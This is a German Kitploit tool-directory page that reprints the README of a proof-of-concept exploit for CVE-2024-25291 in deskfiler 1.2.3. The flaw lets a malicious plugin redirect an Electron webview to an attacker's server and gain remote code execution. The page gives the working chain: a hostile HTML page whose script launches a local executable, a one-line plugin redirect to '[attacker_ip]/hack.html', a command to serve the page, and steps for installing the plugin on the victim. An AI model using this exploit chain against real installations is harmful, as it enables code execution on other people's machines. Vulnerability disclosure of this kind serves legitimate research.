Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2024-25291 — deskfiler 1.2.3 Open-Redirect-Exploit | Kitploit
Tools/GitHubGitHub/eqstlab/cve-2024-25291
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingPayload-Entwicklung
GitHubeqstlab/cve-2024-25291

CVE-2024-25291

deskfiler 1.2.3 Open-Redirect-Exploit

Repository anzeigen
vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

DeskFiler RCE

Ein Proof-of-Concept für die Schwachstelle CVE-2024-25291.

deskfiler - 1.2.3 ermöglicht eine Electron-Webview in der Anwendung, mit daraus resultierendem Remote-Code In diesem Repository befinden sich eine beispielhafte verwundbare Anwendung und ein Proof-of-Concept-Exploit (POC) dafür.

Als PoC gibt es eine Python-Datei, die den Prozess automatisiert.

1. Schwachstellenübersicht:

  • Schwachstellenthema: Open Redirect über RCE
  • Schwachstellenversion: deskfiler-1.2.3
  • Erscheinungsform des Problems: Electron-Webview
  • Angriffsart: Remote Code Execution
  • Angriffsvektoren: Um die Schwachstelle auszunutzen, muss jemand ein Plug-in öffnen.
  • Reservierte CVE-Nummer: CVE-2024-25291

2. Ursache der Schwachstelle:

  • Erklärung des Exploits
    • In einem bestimmten Bereich der Anwendung konnte ein Abschnitt bestätigt werden, der über eine Electron-Webview auf einen externen Link zugreift. Dadurch ist es möglich, eine RCE zu erreichen, indem man sich mit dem Server des Angreifers verbindet.

Proof-of-Concept (POC)

  • Schritt 1) Bereite den Server des Angreifers vor und erstelle ein schädliches Plug-in.
root@kitploit:~
<html>
 <head>
 <title>jruru</title>
 </head>
 <body>
 <script>
 const { shell } = require('electron');
 shell.openExternal('file:C:/Windows/System32/calc.exe');
 </script>
 </body>
 </html>

※ Wenn du es schnell testen möchtest, erstelle mit dem folgenden Code einen Server auf dem PC des Angreifers.

root@kitploit:~
$ python -m http.server 80

Hinweis: ※ Es wird angenommen, dass das Plug-in ein vom Angreifer erstelltes Plug-in ist und lediglich ein normales Plug-in darstellt, dem ein Code hinzugefügt wurde, um dem Server des Angreifers Zugriff zu ermöglichen. Für einfache Tests wurde BareBone ausgewählt. deskfiler1

Füge anschließend den folgenden Code zur Datei index.js im Pfad des BareBone-Ordners hinzu.

root@kitploit:~
window.location='http://[attacker_ip]/hack.html'
  • Schritt 2) Führe auf dem Server des Opfers Deskfiler aus und installiere das BareBone-Plug-in über "Add new plugin." deskfiler2

deskfiler3


3. Zusätzliche Informationen

In diesem PoC haben wir ein Plug-in verwendet; wir glauben jedoch, dass mit alternativen Angriffsvektoren eine Remote Code Execution (RCE) unabhängig möglich ist. Darüber hinaus wird RCE auch dann als durchführbar angesehen, wenn serverseitige Schwachstellen wie Stored XSS, Reflected XSS existieren.

Tool herunterladen